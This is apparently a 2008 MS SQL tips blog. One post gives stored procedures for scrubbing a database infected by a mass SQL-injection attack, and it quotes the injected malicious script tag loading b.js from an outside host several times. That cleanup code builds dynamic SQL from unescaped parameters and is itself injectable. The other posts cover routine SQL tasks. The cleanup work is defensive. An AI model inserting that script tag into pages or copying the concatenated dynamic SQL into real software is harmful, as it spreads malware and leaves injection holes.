Code Groups

SQL Injection Protection

Filed under: SQL — admin @ 5:48 am

Comments Off

Cleaning Up SQL Injection Attack : b.js

Filed under: SQL, ASP — admin @ 10:38 am

create PROCEDURE FindReplace
(
@TABLE VARCHAR(200),
@Field VARCHAR(200),
@WHERE VARCHAR(100),
@Find VARCHAR(500),
@REPLACE VARCHAR(500)
)
AS
DECLARE @query VARCHAR(8000)
SET @query = ‘UPDATE ‘ + @TABLE +
               ‘ SET ‘ + @Field + ‘= REPLACE(CONVERT(varchar(8000),’
               + @Field + ‘),”’ + @Find + ”’,”’ + @REPLACE +”’)’
IF(@WHERE <> ”)
         SET @query = @query + ‘ WHERE ‘+@WHERE

EXECUTE (@query)
GO

———-

create Procedure RemoveStringFinal
@FIND VARCHAR(500),
@REPLACE VARCHAR(500)

as

DECLARE @TABLE_NAME VARCHAR(500)
DECLARE @COLUMN_NAME VARCHAR(500)
DECLARE @DATA_TYPE VARCHAR(500)
DECLARE db_cursor CURSOR FOR
select TABLE_NAME, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS

OPEN db_cursor
FETCH NEXT FROM db_cursor INTO @TABLE_NAME, @COLUMN_NAME, @DATA_TYPE

WHILE @@FETCH_STATUS = 0
BEGIN
if @DATA_TYPE = ‘varchar’ or @DATA_TYPE = ‘text’ or @DATA_TYPE = ‘ntext’ or @DATA_TYPE = ‘nvarchar’
begin

     print @TABLE_NAME
            print @COLUMN_NAME
     print @DATA_TYPE

              EXEC FindReplace @TABLE_NAME,@COLUMN_NAME,”,@FIND,@REPLACE

end

FETCH NEXT FROM db_cursor INTO @TABLE_NAME, @COLUMN_NAME, @DATA_TYPE
END

CLOSE db_cursor
DEALLOCATE db_cursor
———–

–EXEC FindReplace @TABLE_NAME,@COLUMN_NAME,”,’<script src=http://www.en-us18.com/b.js></script>’,’ ‘

Two SP created for Cleaning up SQL Injection database.

1 SP for FindReplace

2 sp - RemoveStringFinal

Run both the Query in Query Analyzer and

Exec RemoveStringFinal ‘<script src=http://www.en-us18.com/b.js></script>’,”

Enter your Attack JS url in above sp and replace with blank space ” i.e Exec RemoveStringFinal ‘<script src=http://www.en-us18.com/b.js></script>’,”

if your data have <script src=http://www.en-us18.com/b.js></script> string in your database then you run above sp with ‘Exec RemoveStringFinal ‘<script src=http://www.en-us18.com/b.js></script>’,”’

I will post soon for How to Protect our database website with SQL Injection.

Share This

Comments (0)

Send Emails from MS SQL Stored Procedure

Filed under: Code Groups, SQL — admin @ 1:02 am

CREATE Procedure sn_SMTPMail
AS

EXEC @resultcode = sp_OACreate �CDONTS.NewMail�, @oMail OUT
if @resultcode = 0
BEGINEXEC @resultcode = sp_OACreate �CDONTS.NewMail�, @oMail OUTEXEC @resultcode = sp_OASetProperty @oMail, �From�, �youremail@domain.com�
EXEC @resultcode = sp_OASetProperty @oMail, �To�, �youremail@domain.com�
�EXEC @resultcode = sp_OASetProperty @oMail, �HTMLBody�, 0
EXEC @resultcode = sp_OASetProperty @oMail, �Subject�, �Mail subject�
EXEC @resultcode = sp_OASetProperty @oMail, �Body�, �Boy Test�
EXEC @resultcode = sp_OAMethod @oMail, �Send�, NULLEXEC sp_OADestroy @oMail

ENDSET nocount off
GO

See more progress on: code groups

Share This

Comments (0)

Concatenate filed and check null values

Filed under: SQL — admin @ 12:33 am

Today I have create one MS SQL Query with combination of three fields, Account no, First Name , Last Name and my table name is tblregister.

I have account no in my tblregistr table but I don’t have first name and last name so that column has null values.

I try with below query

select memberid,AccountNo,(cast(AccountNo AS varchar (15) )+’ - ‘+txtFirstname+’ ‘+txtLastname) as txtmembername from
tblregister

But member name is return as NULL while I have account no in my accountno column.

Then after I try with replace that also not work

Finally I try ISNULL and its Worked.

select memberid,AccountNo,(cast(AccountNo AS varchar (15) )+’ - ‘+ISNULL (txtFirstname,”)+’ ‘+ISNULL (txtLastname,”)) as
txtmembername from tblregister

Enjoy Programming

Share This

Comments (0)

Add/Update an auto increment filed in table - MS SQL

Filed under: SQL — admin @ 12:31 am

Add/Update an auto increment filed in table - MS SQL

ALTER TABLE yourtablename

ADD yourID INTEGER IDENTITY NOT NULL,

PRIMARY KEY (”yourID “)

do you want to change the existing key as IDENTITY Key ??

You cannot use ALTER TABLE to change a column into IDENTITY column

Drop the column first and then recreate column as IDENTITY

ALTER TABLE Student

ADD CONSTRAINT StudentID_PK Primary Key (StudentID)

Option 2

Now, reload the table *but keeping the existing acctid values*.

SET IDENTITY_INSERT tableName ON

INSERT INTO tableName (acctid, …rest of columns…)

SELECT *

FROM tableNameTemp

SET IDENTITY_INSERT tableName OFF

– if PK designation has not been done yet

ALTER TABLE tableName

ADD PRIMARY KEY (acctid)

DROP TABLE tableNameTemp

Share This

Comments (0)

Who is logged in MS SQL Server?

Filed under: SQL — admin @ 12:10 am

Who is logged in MS SQL Server?

EXEC SP_WHO

It�s returned the information about current users and processes.

SPID : The system process ID ,50,51,52,53,99,100 .etc

ECID: The execution context ID of a given thread associated with a specific SPID.

Status: The process status. i.e background , sleeping , runnable

Loginame : The login name associated with the particular process. i.e. SA

Hostname: The host or computer name for each process. i.e. :CMP55

Dbname : The database used by the process. i.e. - master,msdb,etc

CMD: The SQL Server command executing for the process. : i.e. : TASK MANAGER ,AWAITING COMMAND,SELECT

Do you want to kill processes?

KILL 53

Share This

Comments (0)

Simple Create index in MS SQL

Filed under: Code Groups, SQL — admin @ 12:18 am

Simple Create index in MS SQL

CREATE INDEX - creates an index (search key)

Syntax
CREATE [UNIQUE] [CLUSTERED | NONCLUSTERED]
? ? ? INDEX index_name ON table (column [,…n])
[WITH
? ? ? ? ? ? ? [PAD_INDEX]
? ? ? ? ? ? ? [[,] FILLFACTOR = fillfactor]
? ? ? ? ? ? ? [[,] IGNORE_DUP_KEY]
? ? ? ? ? ? ? [[,] DROP_EXISTING]
? ? ? ? ? ? ? [[,] STATISTICS_NORECOMPUTE]
]
[ON filegroup]

Examples

A. Use a simple index

USE pubs

CREATE INDEX au_id_ind

? ? ? ON authors (au_id)

Database: Pubs

Table: Authors
Index Column: au_id
Index Name: au_id_ind

Share This

Comments (0)

Deleting Duplicate Records from table with text, ntext, or image data type

Filed under: SQL — admin @ 11:59 pm

————–Deleting Duplicate Records from table with text, ntext, or image data type ———————-
?
–Step 1
—Create a Primary Key
select * from catdetails
–Step 2
—Create a Primary Key
Alter table catdetails add NewPK int NULL
–Step 3
—populate the new Primary Key
declare @intCounter int
set @intCounter = 0
update catdetails
SET @intCounter = NewPK = @intCounter + 1
–Step 4
–Get one primary key value and insert into the tblTemp1 table
select subcatid, title, RecCount=count(*), PktoKeep = max(NewPK)
into tbltemp1
from catdetails
group by subcatid, title
having count(*) > 1
order by count(*)
–Step 5
–delete duplicated except one Primary key for each duplicated record

delete? catdetails
from? catdetails a
where? a.NewPK not in (select PKtoKeep from tbltemp1)

–Step 6
—remove the NewPK column

ALTER TABLE catdetails DROP COLUMN NewPK
?
–Step 7
drop table tbltemp1

Share This

Comments (0)

Stored Procedure with Output parameter

Filed under: SQL — admin @ 6:31 am

Stored Procedure with Output parameter
You can return values from a stored procedure in three different ways.
Using SELECT statement?

Using RETURN statement

Using OUTPUT parameters

1)? Returning values Using SELECT statement

? a) Create stored procedures

Simple example here we are going to create a stored procedure that just returns a string.

CREATE PROCEDURE MyfirstsP
AS?
? SELECT ‘Welcome to the code groups’? ?
GO
The above example creates a procedure with name “MyfirstsP”? which shows the message we mentioned in line # 3.? The “GO” statement on line#4, indicates the end of the batch (and thus the end of the procedure).
How to Run the procedure ??

you need to use “EXEC ” followed by the procedure name.

EXEC MyfirstsP

2) Returning a value using Return Statement

CREATE PROCEDURE retSum
@i int
as? ?
RETURN @i+@i
GO

DECLARE @retValFromSP int

EXEC @retValFromSP = retSum 10

SELECT @retValFromSP

Return statement can return only an integer value
the execution quits unconditionally once it processes the ‘Return’ statement, so the statements after the ‘Return’ wont get executed.

3) Returning a value using OUTPUT parameters

CREATE PROCEDURE
retSumAsOutput

? @Num1 INT,

? @num2 INT,

? @Sum? INT OUT
? AS
? SELECT @sum = @Num1 + @Num2
? GO

Executing this sort of stored procedure is somewhat tricky, you need to declare the variables to hold the values returned by the stored procedure.
For example, above procedure can be executed as follows

DECLARE @Res INT
EXEC retSumAsOutput 1,2, @Res OUT
SELECT @Res

Share This

Comments (0)

Search by “Match whole word” using MS SQL Query

Filed under: SQL — admin @ 11:44 pm

Search by “Match whole word” using MS SQL Query.

Do you want to search with match whole word in to the filed? For example you are search company name from your company table (tblCompany)

Let me search with
Most SQL Search using the LIKE Keyword to perform keyword search. In these cases this type of search provides undesirable results. For example a uses is searching for an order by company name ‘del’. However a search returns unwanted records.

SELECT *
FROM tblCompany
WHERE (companyname LIKE ‘del%’)

Search Results
?
1)? DELAMERE DESIGN LTD
2)? DELAMERE FINANCIAL SERVICES
3)? DELAMERE SCHOOL
4)? DELICATA COACHBUILDERS & TRAILER MANUFACTURERS? ?
5)? DEL MAR REYNOLDS? ?

This query returns the all record with start from ‘DEL’ from the tblcompany.
thoese records is match with whole word.
1)? DELAMERE DESIGN LTD
2)? DELAMERE FINANCIAL SERVICES
3)? DELAMERE SCHOOL
4)? DELICATA COACHBUILDERS & TRAILER MANUFACTURERS? ?

Whole word for belwo record
5) DEL MAR REYNOLDS?
Search keyword have inside the company name i.e. �THE DEL INc.’

in this case SQL Search with the keyword with ‘%keyword%’ for match keyword with inside the company name

SELECT *
FROM tblCompany
WHERE companyname LIKE ‘%del%’
1)? DELAMERE DESIGN LTD
2)? DELAMERE FINANCIAL SERVICES
3)? DELAMERE SCHOOL
4)? DELICATA COACHBUILDERS & TRAILER MANUFACTURERS? ?
5)? DEL MAR REYNOLDS? ?
6)? THE DEL INc
7)? WEDDEL SWIFT LTD
Query returns the all records with match keyword in any where into the company name.
? ? ? ? ?
SELECT *
FROM tblCompany
WHERE companyname LIKE ‘% del %’ or companyname LIKE ‘del %’ or
This ‘% del %’ Search with ‘del’ with before space and after space of the search query string.
This ‘del %’ Search with ‘del’ with after space only
Search Result for the above Query is

1)? THE DEL INC
? ?

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

Share This

Comments (0)

Code Groups

June 19, 2008

SQL Injection Protection

June 18, 2008

Cleaning Up SQL Injection Attack : b.js

May 15, 2008

Send Emails from MS SQL Stored Procedure

May 13, 2008

Concatenate filed and check null values

April 29, 2008

Add/Update an auto increment filed in table - MS SQL

Who is logged in MS SQL Server?

April 24, 2008

Simple Create index in MS SQL

April 10, 2008

Deleting Duplicate Records from table with text, ntext, or image data type

Stored Procedure with Output parameter

April 3, 2008

Search by “Match whole word” using MS SQL Query